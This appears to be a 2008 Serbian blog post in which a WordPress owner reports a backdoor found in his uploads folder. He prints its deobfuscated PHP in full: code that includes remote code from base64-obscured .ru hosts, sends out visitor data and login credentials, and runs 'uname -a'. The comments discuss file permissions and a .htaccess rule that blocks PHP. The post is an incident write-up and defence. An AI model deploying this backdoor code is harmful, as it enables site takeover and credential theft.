Avramov bRlog
Web dnevnik Nemanje Avramovića

Avramov bRlog

Backdoor na bRlogu?

septembar 11th, 2008 . by Avram

Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:

base.php

  1. if (isset($_POST["l"]) and isset($_POST["p"])) {
  2.         if (isset($_POST["input"])) {
  3.                 $user_auth = "&l=" . base64_encode($_POST["l"]) . "&p=" . base64_encode(md5($_POST["p"]));
  4.         } else {
  5.                 $user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];
  6.         }
  7. } else {
  8.         $user_auth = "";
  9. }
  10. if (!isset($_POST["log_flg"])) {
  11.         $log_flg = "&log";
  12. }
  13. if (!@include_once(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) . "&url=" . base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {
  14.         if ($_POST["l"] == "special") {
  15.                 print "sys_active" . `uname -a`;
  16.         }
  17. }

create.php

  1. $s = "e";
  2. $a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
  3. $b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
  4. $c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
  5. $d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
  6. $e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
  7. $f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
  8. $g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
  9. $h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
  10. $str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".$s";
  11. if ((include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) {
  12. } else {
  13.         include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str);
  14. }

Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa  http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese – klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje – ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.

A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama. :-D

 

Tagovi:

14 komentara za “Backdoor na bRlogu?”

  1. Robert reče:

    AVrAmTAR avatarJedno pitanje u vezi ovoga: kako su bila podesena prava na direktorijume wp-content i uploads?

  2. Avram reče:

    AVrAmTAR avatarNa uploads 777, kao što je i preporučeno da bih mogao da uploadujem fajlove. Odnosno valjda može i 755… nisam siguran, ali bilo je 777.

  3. Andrija reče:

    AVrAmTAR avatarSkoro mi se desila ista stvar kao i tebi, bas ista. Raspitao sam se na i na kraju zakljucio da je problem do hostinga. Naime, dobar hosting mora da omoguci prava na direktorijume 700 ili 711 ili 755, a opet da sve radi. Ako ti moras da setujes 777 da biti wp radio, verovatno si kao i ja na shared hostingu. A inace, kako si sprečio ovo izvršavanje php skripti u uploads/ folderu?

  4. Avram reče:

    AVrAmTAR avatarJa imam VPS… dakle nisam na shared hostingu :S

    Što se php-a tiče, to možeš uraditi na razne načine, a najlakši je da zabraniš pristup .php fajlovima. Ovakav .htaccess rešava problem:

    <files *.php>
    order allow,deny
    deny from all
    </files>

  5. Andrija reče:

    AVrAmTAR avatarE, pa onda ne znam, 777 je bezbednosni propust u svakom slucaju, kao sto znas. A jel ovaj .htaccess fajl ubacim u taj folder npr. uploads, ili na globanom nivou. Mozda pitam gluposti, ali ko pita ne skita :) Hvala!

  6. Avram reče:

    AVrAmTAR avatarU folder u kojem (i svim podfolderima) želiš da zabraniš pristup .php fajlovima. Dakle, u uploads :)

  7. Andrija reče:

    AVrAmTAR avatarPa ovo je odlicno resenje za sve one koji su na shared hostingu i moraju neke foldere da stave na 777 da bi cms radio. Ali, u stvari, sad kad razmilism, ako je neko mogao da uploaduje .htaccess fajl u tvoj upload folder, zar ne bi mogao opet to da uradi i jednostavno prebrise ovaj tvoj .htaccess fajl?

  8. Avram reče:

    AVrAmTAR avatarNe verujem da se .htaccess može tek tako uploadovati. Može da se generiše PHP-om, ali ako su PHP fajlovi zabranjeni, onda je to skoro pa nemoguće :)

    Odnosno, mislim da može da ga prepiše fajl ako .htaccess ima chmod 777 što je suludo. Ja ga u ovom folderu nisam ni imao pa ga je on lako kreirao, ali ako postoji i ima neki normalan chmod, onda napadač nema šanse da ga prepiše.

    A i da ima šanse, može se napraviti sličan .htaccess fajl sa istom funkcijom i da stoji u folderu iznad, u koji ne može da se piše :)

  9. Andrija reče:

    AVrAmTAR avatarA, tako, nisam razmisljao o mogucnosti da .htaccess moze da se generise php-om, mislio sam da je i on uplodovan kao i php fajlovi. Pa, ovo je onda sjajno resenje. Izgleda da si me spasao maltretiranja sa promenom hostinga. Puno hvala!

  10. Andrija reče:

    AVrAmTAR avatarUf, ipak nista, kod mene to ne funkcionise. Imam images folder koji mora da bude writable znaci 777, kad stavim ovaj .htaccess fajl ni jedna slika nece da se ucita. Jedino u files folder. Tu mi je prosli put neko ubacio isto ovo kao i tebi. Izgleda da cu ipak morati da menjam hosting :)

  11. Avram reče:

    AVrAmTAR avatarPa ne znam, meni to radi. Vredi pogledati uputstvo za .htaccess… postoji i <filesmatch> direktiva koja radi sličan posao, samo što match-uje imena fajlova preko regularnih izraza (mada, ponavljam, meni ovo sa files radi lepo): [link]. Verujem da svašta može da se iskombinuje uz malo igranja.

  12. Andrija reče:

    AVrAmTAR avatarHvala na savetu, samo da ti kazem kako sam resio stvar kod mene na Textpatternu, mada verujem da i WordPressu bi verovatno moglo biti isto. Dakle, ja imam folder images i files, gde iz txp-a mogu da uploadujem slike i fajlove. Ti direktorijumi moraju da budu 777 da bi radilo. I bas u te foldere mi je neko, kao i tebi, ubacio one php i .htaccess fajlove. Medjutim, sinoc sam saznao da ja mogu bez problema da setujem 755 na tim folderima, i onda necu mocu da iz txp-a uploadujem fajlove, ali mogu bez problema preko ftp-a. Takodje, ja imam na txp-u jos jedan folder, tmp koji je kako sam saznao vezan za ova dva prethodna, tako da ako ta dva ne koristim, mogu slobodno i ovaj tmp da stavim na 755. I tako sam resio sve. Sad ti folderi nisu writable i ne moram da menjam hosting :) Cini mi se da je ovo ipak najbolje resenje.

  13. Hellas reče:

    AVrAmTAR avatarA covjece ovo sranje mi se naselilo na pra blogova. Sad sam kontaktirao hosta da vidim sta se desava. Sto je najgore sve mi foldere izmjenjalo na chmod 777 a nisu bili takvi sigurno. Imam brdo sajtova sirom neta.

  14. Avram reče:

    AVrAmTAR avatarJa sam sad na suPHP, tako da ne bi trebalo da može da prelazi sa jednog na drugi sajt (na istom serveru, naravno).

Ostavite komentar:

Ime

Email (biće skriven)

Web sajt (ili OpenID provajder)